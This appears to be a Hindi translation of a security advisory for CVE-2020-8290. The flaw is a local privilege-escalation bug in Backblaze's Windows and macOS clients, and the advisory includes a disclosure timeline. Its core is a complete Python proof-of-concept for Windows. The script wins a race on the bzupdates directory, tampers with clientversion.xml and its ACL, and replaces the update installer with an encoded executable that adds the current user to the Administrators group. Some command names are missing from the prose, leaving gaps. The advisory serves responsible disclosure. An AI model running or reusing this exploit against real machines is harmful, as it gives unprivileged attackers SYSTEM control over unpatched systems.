
CVE-2020-8290 – Backblaze में विशेषाधिकार वृद्धि
नाम: बैकब्लेज़ में विशेषाधिकार उन्नयन
CVE: CVE-2020-8290
खोजकर्ता: Jason Geffner
विक्रेता: Backblaze
उत्पाद: Backblaze for Windows और Backblaze for macOS
जोखिम: उच्च
खोज तिथि: 2020-03-13
प्रकाशन तिथि: 2020-09-09
पैच किया गया संस्करण: 7.0.0.439
विकिपीडिया के अनुसार, Backblaze एक
"ऑनलाइन बैकअप टूल है जो Windows और macOS उपयोगकर्ताओं को अपने डेटा का बैकअप ऑफ-साइट डेटा केंद्रों में ले जाने की अनुमति देता है। यह सेवा व्यवसायों और अंतिम-उपयोगकर्ताओं के लिए डिज़ाइन की गई है, जो असीमित संग्रहण स्थान प्रदान करती है और असीमित फ़ाइल आकारों का समर्थन करती है।"
Backblaze for Windows और Backblaze for macOS के कमजोर संस्करणों में एक उच्च जोखिम वाली भेद्यता है जो एक स्थानीय अन-प्रिविलेज्ड हमलावर को विशेषाधिकार उन्नयन (EOP) हमला करके SYSTEM/root बनने की अनुमति देती है।
Backblaze क्लाइंट की सेवा प्रक्रिया, जिसका नाम bzserv है, Windows पर SYSTEM और macOS पर root के रूप में चलती है। हर कुछ घंटों में, bzserv bztransmit नामक प्रोग्राम (SYSTEM/root के रूप में निष्पादित) चलाता है ताकि Backblaze के डेटा केंद्र से clientversion.xml नामक एक XML फ़ाइल डाउनलोड करके देख सके कि Backblaze क्लाइंट का कोई नया संस्करण डाउनलोड के लिए उपलब्ध है या नहीं, और यदि हाँ, तो नवीनतम क्लाइंट संस्करण का इंस्टॉलर Backblaze के डेटा केंद्र से डाउनलोड करता है। डाउनलोड किया गया इंस्टॉलर Windows में %ProgramData%\Backblaze\bzdata\bzupdates निर्देशिका में और macOS पर /Library/Backblaze.bzpkg/bzdata/bzupdates या /Library/Backblaze/bzdata/bzupdates निर्देशिका में सहेजा जाता है। एक बार डाउनलोड हो जाने पर, bztransmit डाउनलोड किए गए इंस्टॉलर को Windows पर के माध्यम से के रूप में या macOS पर के माध्यम से के रूप में चलाता है।
Windows पर, %ProgramData%\Backblaze\bzdata निर्देशिका इंस्टॉल-समय पर इस प्रकार बनाई जाती है कि स्थानीय अन-प्रिविलेज्ड उपयोगकर्ताओं के पास पढ़ने-और-लिखने की पहुंच हो। bztransmit प्रक्रिया bzupdates चाइल्ड निर्देशिका को SYSTEM के रूप में चलने के दौरान बनाती है, और एक बार बन जाने के बाद अन-प्रिविलेज्ड उपयोगकर्ताओं के पास इस चाइल्ड निर्देशिका तक पढ़ने-या-लिखने की पहुंच नहीं होती। हालाँकि, bztransmit प्रक्रिया इस bzupdates निर्देशिका पर ACL को सुरक्षित रूप से सत्यापित नहीं करती है यदि वह पहले से मौजूद हो, और न ही यदि निर्देशिका पहले से मौजूद हो तो ACL को सुरक्षित रूप से अद्यतन करती है। इस प्रकार, एक स्थानीय अन-प्रिविलेज्ड हमलावर Backblaze की स्थापना से पहले %ProgramData%\Backblaze\bzdata\bzupdates निर्देशिका बना सकता है, या Backblaze स्थापित होने के बाद और bztransmit द्वारा bzupdates चाइल्ड निर्देशिका बनाने से पहले %ProgramData%\Backblaze\bzdata के अंतर्गत bzupdates चाइल्ड निर्देशिका बना सकता है। यह हमलावर को bzupdates निर्देशिका का स्वामी बनने और उस निर्देशिका की फ़ाइलों पर पूर्ण नियंत्रण रखने की अनुमति देता है। इस प्रकार, हमलावर डाउनलोड किए गए अपडेट एक्ज़ीक्यूटेबल को डाउनलोड होने के बाद और निष्पादित होने से पहले संशोधित या प्रतिस्थापित कर सकता है, जिससे स्थानीय EOP संभव हो जाता है।
macOS पर, /Library/Backblaze.bzpkg/bzdata (या /Library/Backblaze/bzdata) निर्देशिका इंस्टॉल-समय पर अनुमतियों 0777 (drwxrwxrwx) के साथ बनाई जाती है, जिससे स्थानीय अन-प्रिविलेज्ड उपयोगकर्ताओं के पास पढ़ने-और-लिखने की पहुंच हो। bztransmit प्रक्रिया bzupdates चाइल्ड निर्देशिका को अनुमतियों 0755 (drwxr-xr-x) के साथ root के रूप में चलने के दौरान बनाती है, और एक बार बन जाने के बाद अन-प्रिविलेज्ड उपयोगकर्ताओं के पास इस चाइल्ड निर्देशिका तक पढ़ने-या-लिखने की पहुंच नहीं होती। हालाँकि, bztransmit प्रक्रिया इस bzupdates निर्देशिका की अनुमतियों को सुरक्षित रूप से सत्यापित नहीं करती है यदि वह पहले से मौजूद हो, और न ही यदि निर्देशिका पहले से मौजूद हो तो अनुमतियों को सुरक्षित रूप से अद्यतन करती है। इस प्रकार, एक स्थानीय अन-प्रिविलेज्ड हमलावर Backblaze स्थापित होने के बाद और bztransmit द्वारा bzupdates चाइल्ड निर्देशिका बनाने से पहले (या ) के अंतर्गत चाइल्ड निर्देशिका बना सकता है। यह हमलावर को निर्देशिका का स्वामी बनने और उस निर्देशिका की फ़ाइलों पर पूर्ण नियंत्रण रखने की अनुमति देता है। इस प्रकार, हमलावर डाउनलोड किए गए अपडेट एक्ज़ीक्यूटेबल को डाउनलोड होने के बाद और निष्पादित होने से पहले संशोधित या प्रतिस्थापित कर सकता है, जिससे स्थानीय EOP संभव हो जाता है।
वीडियो: https://youtu.be/OpC6neWd2aM
उपरोक्त वीडियो एक ही VM में दो समवर्ती लॉगिन दिखाता है: बाईं ओर एक व्यवस्थापक का सत्र, और दाईं ओर एक अन-प्रिविलेज्ड हमलावर का सत्र। आप वीडियो में निम्नलिखित चरण देख सकते हैं:
Attacker यह दिखाने के लिए net localgroup Administrators चलाता है कि अन-प्रिविलेज्ड हमलावर का खाता (Attacker नाम का) Administrators समूह का सदस्य नहीं है।python eop.py चलाता है (जिसका स्रोत कोड नीचे है)।clientversion.xml डाउनलोड करती है, जिसे एक्सप्लॉइट अधिलेखित कर देता है।Attacker खाते को Administrators समूह में जोड़ देता है।net localgroup Administrators फिर से चलाता है कि Attacker खाता वास्तव में Administrators समूह में जोड़ दिया गया है। स्थानीय विशेषाधिकार उन्नयन पूर्ण।# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time
def wait_for_filesystem_object(file_path):
if os.path.exists(file_path):
return
parent_directory = os.path.dirname(file_path)
if not os.path.exists(parent_directory):
wait_for_filesystem_object(parent_directory)
buffer = ctypes.create_string_buffer(1024)
bytes_returned = ctypes.c_ulong()
if "." in os.path.basename(file_path):
notify_filter = 8
else:
notify_filter = 2
h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
0x02000000, None)
while not os.path.exists(file_path):
ctypes.windll.kernel32.ReadDirectoryChangesW(
h, ctypes.byref(buffer), 1024, False, notify_filter,
ctypes.byref(bytes_returned), None, None)
ctypes.windll.kernel32.CloseHandle(h)
def get_exe_content():
#
# Returns the content of an EXE that will add the attacker to the
# Administrators group. Based on
# https://github.com/corkami/pocs/blob/master/PE/tiny.asm
#
exe_content = bz2.decompress(base64.b85decode(
"LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
"~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
"p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
exe_content += ("NET LOCALGROUP Administrators " +
f"{os.environ['USERDOMAIN']}\\" +
f"{os.environ['USERNAME']} /ADD").encode()
return exe_content
def am_i_admin():
bufptr = ctypes.c_void_p()
ctypes.windll.netapi32.NetUserGetInfo(
os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
ctypes.byref(bufptr))
if platform.architecture()[0] == "32bit":
usri1_priv = ctypes.string_at(bufptr, 13)[-1]
else:
usri1_priv = ctypes.string_at(bufptr, 21)[-1]
ctypes.windll.netapi32.NetApiBufferFree(bufptr)
return usri1_priv == 2
def poc():
print(f"Running as user: {os.environ['USERNAME']}")
# Ensure that we're running as an unprivileged user.
print("Testing for administrative privileges...")
if am_i_admin():
print("You're already an administrator. Bye!")
return
print("You're a non-administrative user.")
# Raise our process's priority to try to win our race condition.
pid = ctypes.windll.kernel32.GetCurrentProcessId()
h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
ctypes.windll.kernel32.CloseHandle(h)
# Create the bzupdates directory so that we are the owner of it.
bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
if os.path.exists(bzupdates):
print("Backblaze's bzupdates directory was already created. You're " +
"too late!")
return
os.makedirs(bzupdates)
#
# Get the installed hguid value so that we can force an update via
# clientversion.xml.
#
if platform.architecture()[0] == "32bit":
bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
else:
bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
"\\Backblaze\\bzinstall.xml"
if not os.path.exists(bzinstall):
print("Waiting for Backblaze's installer to assign an hguid value.")
wait_for_filesystem_object(bzinstall)
print("Backblaze assigned an hguid value.")
with open(bzinstall) as f:
xml = f.read()
hguid = re.search('hguid="([^"]+)"', xml).group(1)
# Force update via clientversion.xml.
if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
print("Waiting for Backblaze to download clientversion.xml.")
wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
print("clientversion.xml now downloaded.")
with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
xml = f.read()
xml = re.sub('update_hguids_firstchar=".',
f'update_hguids_firstchar="{hguid[0]}', xml)
xml = xml.replace('win32_version="', 'win32_version="1')
f.truncate(0)
f.seek(0)
f.write(xml)
print("clientversion.xml modified to force update next time Backblaze " +
"considers updating.")
# Don't allow SYSTEM to overwrite clientversion.xml.
subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
"/setowner", f"{os.environ['USERNAME']}"])
print()
subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
'/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
print()
#
# Create an executable to replace the downloaded update, which will elevate
# our privileges.
#
exe_content = get_exe_content()
with open(f"{bzupdates}\\eop.exe", "wb") as f:
f.write(exe_content)
#
# Wait for update to download and overwrite it with attacker's executable.
# In this PoC we use iexpress.exe (built into Windows) to create an EXE that
# adds the attacker to the Administrators group, but an attacker could
# supply any executable content they like.
#
exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
print(f"Waiting for Backblaze to download {exe}.")
wait_for_filesystem_object(f"{bzupdates}\\{exe}")
os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
print(f"{exe} downloaded and replaced.")
print(f"{exe} should now get executed as SYSTEM.")
for i in range(5):
if am_i_admin():
print("Success! You're now an administrator!")
return
time.sleep(1)
print("Exploit failed. We probably lost the race-condition when " +
f"overwriting {exe}.")
if __name__ == "__main__":
poc()
Backblaze ने इस भेद्यता को Backblaze संस्करण 7.0.0.439 में पैच किया।
यह भेद्यता Jason Geffner द्वारा खोजी गई और HackerOne के माध्यम से Backblaze को रिपोर्ट की गई।
2020-03-13 - भेद्यता खोजी गई और HackerOne के माध्यम से Backblaze को रिपोर्ट की गई
2020-03-26 - HackerOne ने भेद्यता सत्यापित की
2020-04-22 - CVE-2020-8152 निर्दिष्ट किया गया
2020-04-22 - बिल्ड 7.0.0.439 जारी किया गया
2020-04-22 - भेद्यता शमन सत्यापित किया गया
2020-04-23 - सार्वजनिक प्रकटीकरण का अनुरोध किया गया
2020-09-09 - सार्वजनिक प्रकटीकरण
2020-12-22 - CVE असाइनमेंट बदलकर CVE-2020-8290 कर दिया गया
ShellExecute()SYSTEMsystem()root/Library/Backblaze.bzpkg/bzdata/Library/Backblaze/bzdatabzupdatesbzupdates